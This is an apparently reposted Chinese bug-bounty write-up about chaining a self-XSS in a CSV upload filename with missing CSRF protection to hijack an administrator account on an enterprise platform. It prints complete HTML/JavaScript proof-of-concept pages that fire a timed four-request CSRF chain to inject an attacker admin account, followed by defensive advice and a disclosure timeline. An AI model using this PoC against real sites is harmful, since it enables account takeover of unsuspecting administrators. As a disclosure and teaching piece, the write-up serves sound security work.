挖洞经验 | 从XSS漏洞到四步CSRF利用实现账户劫持
字数 972 2025-08-18 11:38:41
从XSS到四步CSRF实现账户劫持的技术分析
漏洞背景
目标系统是一个为企业托管服务的应用平台,用户可注册并使用相关服务,涉及大量敏感信息处理。测试者通过发现XSS漏洞并串联多个CSRF漏洞,最终实现了管理员账户劫持。
漏洞发现过程
1. XSS漏洞发现
测试点:CSV文件上传功能中的文件名参数
绕过过滤技巧:
- 目标系统对用户输入内容进行了特殊字符过滤
- 通过构造文件名实现XSS注入:
.csv
限制:
- 该XSS仅在文件上传时触发,上传后服务端会进行编码过滤
- 属于Self-XSS,无法直接利用
2. CSRF漏洞确认
发现:目标系统缺乏CSRF防护机制
初步利用尝试:
<html>
<body>
<script>
function submitRequest() {
var xhr = new XMLHttpRequest();
xhr.open("POST", `https://company.com/users/uploadFile?uploadId=${uploadId}`, true);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=1566359571913061724703232384");
xhr.withCredentials = true;
var body = "--1566359571913061724703232384\r\n" +
"Content-Disposition: form-data; name=\"uploadedFile\"; filename=\".csv\"\r\n" +
"Content-Type: text/csv\r\n" +
"\r\n" +
"Company,User ID,LAST NAME,FIRST NAME,Access,Type,Email\r\n" +
"H1 Company,999,Takeover,Account,System Admin,Administrator,neemaPoC@gmail.com\r\n" +
"--1566359571913061724703232384\r\n" +
"Content-Disposition: form-data; name=\"rosterType\"\r\n" +
"\r\n" +
"staff\r\n" +
"--1566359571913061724703232384--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
问题:目标系统端点有过滤防护,XSS Payload无法被解析触发
四步CSRF漏洞利用
CSV文件上传流程分析
- POST请求执行上传 (
/users/uploadFile) - 错误修复检查 (
/users/upload) - 解析修改内容 (
/users/fix) - 预览并提交 (
/users/submitToPreview→/users/submitImport)
漏洞利用关键点
- 时间控制:使用
setTimeout精确控制各步骤执行间隔 - 状态维持:利用
uploadId保持会话连续性 - 权限提升:通过CSV文件注入管理员账户信息
完整PoC代码
<html>
<body>
<script>
function xhrRequest(url) {
var xhr = new XMLHttpRequest();
xhr.open('GET', url);
xhr.withCredentials = true;
xhr.send(null);
}
function submitRequest() {
var xhr = new XMLHttpRequest();
xhr.open("POST", `https://company.com/users/uploadFile?uploadId=${uploadId}`, true);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=1566359571913061724703232384");
xhr.withCredentials = true;
var body = "--1566359571913061724703232384\r\n" +
"Content-Disposition: form-data; name=\"uploadedFile\"; filename=\"neema.csv\"\r\n" +
"Content-Type: text/csv\r\n" +
"\r\n" +
"Company,User ID,LAST NAME,FIRST NAME,Access,Type,Email\r\n" +
"Company,999,Takeover,Account,System Admin,Administrator,neemaPoC@gmail.com\r\n" +
"--1566359571913061724703232384\r\n" +
"Content-Disposition: form-data; name=\"rosterType\"\r\n" +
"\r\n" +
"staff\r\n" +
"--1566359571913061724703232384--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
window.setTimeout(function() {
window.open(`https://company.com/users/upload?uploadId=${uploadId}`);
window.setTimeout(function() {
xhrRequest(`https://company.com/users/fix?uploadId=${uploadId}`);
window.setTimeout(function() {
xhrRequest(`https://company.com/users/submitToPreview?uploadId=${uploadId}`);
window.setTimeout(function() {
xhrRequest(`https://company.com/users/submitImport?uploadId=${uploadId}`);
}, 2000);
}, 2000);
}, 2000);
}, 2000);
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
攻击效果
- 攻击者构造的CSV文件中包含新的管理员账户信息
- 当管理员访问恶意页面时,自动完成四步CSRF攻击
- 系统添加攻击者为管理员,攻击者邮箱收到凭据
- 攻击者登录后可删除原有管理员账户,完全控制系统
防御建议
-
XSS防御:
- 对所有用户输入进行严格过滤和编码
- 实现内容安全策略(CSP)
-
CSRF防御:
- 添加CSRF Token验证
- 检查Referer头
- 对敏感操作要求二次验证
-
权限管理:
- 关键操作(如添加管理员)需要多重验证
- 实现操作日志审计
-
文件上传安全:
- 严格限制上传文件类型
- 对上传内容进行安全扫描
- 重命名上传文件避免特殊字符执行
漏洞时间线
- 第一天:漏洞初报
- 第二天:确认为高危漏洞
- 第三天:获得$3,000奖励
- 第七天:漏洞修复完成
该案例展示了如何通过串联多个中危漏洞实现高危攻击,强调了系统安全需要全面防御,任何环节的疏忽都可能导致严重后果。